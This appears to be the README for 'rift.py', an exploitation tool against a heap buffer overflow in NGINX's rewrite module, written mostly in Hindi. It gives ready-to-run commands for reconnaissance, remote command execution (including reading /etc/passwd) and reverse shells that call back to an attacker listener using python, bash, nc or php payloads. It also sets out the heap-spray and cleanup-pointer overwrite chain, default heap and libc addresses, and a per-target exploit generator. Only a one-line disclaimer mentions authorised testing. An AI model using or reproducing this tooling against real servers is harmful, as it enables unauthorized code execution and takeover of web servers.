
NGINX में, विशेष रूप से ngx_http_rewrite_module में एक दोष पाया गया। एक अप्रमाणित हमलावर विशिष्ट रीराइट कॉन्फ़िगरेशन के तहत तैयार HTTP अनुरोध भेजकर इस कमजोरी का शोषण कर सकता है। इससे NGINX वर्कर प्रक्रिया में हीप बफर ओवरफ्लो हो सकता है, जिसके परिणामस्वरूप मनमाना कोड निष्पादन हो सकता है।
लेखक: Michael Sanji Winaya Prawiradibrata
एआई सह-लेखक: Varanus — मेरे दोस्त
NGINX के
ngx_http_rewrite_moduleको लक्षित करने वाला हीप बफर ओवरफ़्लो शोषण ढांचा।
एक टूल रिकॉनिसेंस + एक्सप्लॉइटेशन के लिए। शून्य बाहरी निर्भरताएँ।
| फ़ाइल | विवरण |
|---|---|
rift.py | मुख्य उपकरण. रिकॉन + एक्सप्लॉइट का संयोजन एक स्क्रिप्ट में (1026 पंक्तियाँ)। |
README.md | यह दस्तावेज़ीकरण। |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
जब --shell का उपयोग करते हैं, स्क्रिप्ट स्वचालित रूप से:
--shell-type के अनुसार रिवर्स शेल पेलोड उत्पन्न करें--lport पर लिसनर खोलेंnc -lvnp) को प्राथमिकता दें, फ़ॉलबैक Python लिसनरयदि डिफ़ॉल्ट पता विफल हो जाता है, तो स्क्रिप्ट स्वचालित रूप से हीप बेस को ±5 चरणों × 0x10000 से स्थानांतरित करती है, उपयुक्त पता ढूंढ़ती है। मैन्युअल सेटिंग की आवश्यकता नहीं।
4 प्रकार के शेल पेलोड — python, bash, nc, php। लक्ष्य पर उपलब्ध का चयन करें।
--recon 5 चरण चलाता है:
--output json अन्य उपकरणों के साथ एकीकरण या स्वचालित पार्सिंग के लिए।
लक्ष्य शोषण NGINX है जिसमें rewrite + set कॉन्फ़िगरेशन इस प्रकार है:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
परिणाम: आवंटित बफर बहुत छोटा है, URI एस्केपिंग (3× विस्तार) ओवरफ़्लो।
1. HEAP SPRAY ─── POST /spray × 20 → हीप में नकली ngx_pool_cleanup_s रोपें
2. TRIGGER ────── GET /api/AAAA...++++... → URI एस्केपिंग के माध्यम से ओवरफ़्लो
3. CORRUPT ────── ओवरफ़्लो आसन्न पूल के क्लीनअप पॉइंटर को अधिलेखित करता है
4. EXEC ───────── पूल नष्ट हो जाता है → system("command") कॉल करें
rift.py में बदले जा सकते हैं)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto आज़माएँ--verbose आज़माएँsudo ufw allow 4444--lhost जाँचें — सुनिश्चित करें कि स्थानीय IP सही है--shell-type bash या --shell-type nc आज़माएँकेवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए बनाया गया है।
अनधिकृत प्रणाली के विरुद्ध उपयोग अवैध है।
© 2026 Michael Sanji Winaya Prawiradibrata
एआई सह-लेखक: Varanus
| फ़्लैग | कार्य |
|---|
--recon | पूर्ण रिकॉनिसेंस. फ़िंगरप्रिंट → जानकारी लीक → एंडपॉइंट परीक्षण → वर्कर काउंट → रणनीति। |
--auto | स्वचालित रिकॉन + एक्सप्लॉइट. --recon जैसा ही फिर एक्सप्लॉइट जारी रखें। |
--check-only | त्वरित जाँच. NGINX, संस्करण, एंडपॉइंट /api/ का पता लगाएँ। |
--cmd "command" | एक कमांड system() के माध्यम से निष्पादित करें। |
--shell | रिवर्स शेल — स्वचालित रूप से लिसनर खोलें, पेलोड भेजें, कनेक्शन प्राप्त करें। |
| फ़्लैग | डिफ़ॉल्ट | कार्य |
|---|
--port | 80 | लक्ष्य पोर्ट |
--lhost | — | रिवर्स शेल के लिए स्थानीय आईपी (--shell के साथ अनिवार्य) |
--lport | 4444 | लिसनर के लिए स्थानीय पोर्ट |
--shell-type | python | रिवर्स शेल पेलोड: python, bash, nc, php |
--heap-base | 0x555555659000 | हीप का आधार पता (ASLR बाईपास के लिए ओवरराइड) |
--libc-base | 0x7ffff77ba000 | libc का आधार पता |
--tries | 10 | प्रति उम्मीदवार पते पर प्रयास |
--verbose / -v | — | प्रति प्रयास विवरण आउटपुट |
| फ़्लैग | कार्य |
|---|
--fingerprint | NGINX संस्करण, एंडपॉइंट, रीराइट मॉड्यूल का पता लगाएँ |
--leak | जानकारी लीक जाँचें (त्रुटि पृष्ठ पर मेमोरी पता, समय) |
--test-endpoint | विभिन्न पेलोड के साथ एंडपॉइंट व्यवहार का परीक्षण करें |
--endpoint | परीक्षण के लिए एंडपॉइंट पथ (डिफ़ॉल्ट: /api/) |
--generate-exploit | लक्ष्य पते के साथ विशेष एक्सप्लॉइट स्क्रिप्ट उत्पन्न करें |
--output json | टर्मिनल आउटपुट के साथ JSON आउटपुट (मशीन-पठनीय) |
| स्थिरांक | डिफ़ॉल्ट | अर्थ |
|---|
BODY_LEN | 4000 | स्प्रे बॉडी का आकार (बाइट्स) |
N_SPRAY | 20 | प्रति प्रयास POST अनुरोधों की संख्या |
LIBC_SYSTEM_OFFSETS | 7 प्रविष्टियाँ | विभिन्न डिस्ट्रो के लिए system() ऑफ़सेट |
PREREAD_HEAP_OFFSETS | 19 प्रविष्टियाँ | हीप ऑफ़सेट उम्मीदवार |
DEFAULT_HEAP_BASE | 0x555555659000 | हीप बेस (ASLR बंद) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | लिबc बेस (ASLR बंद) |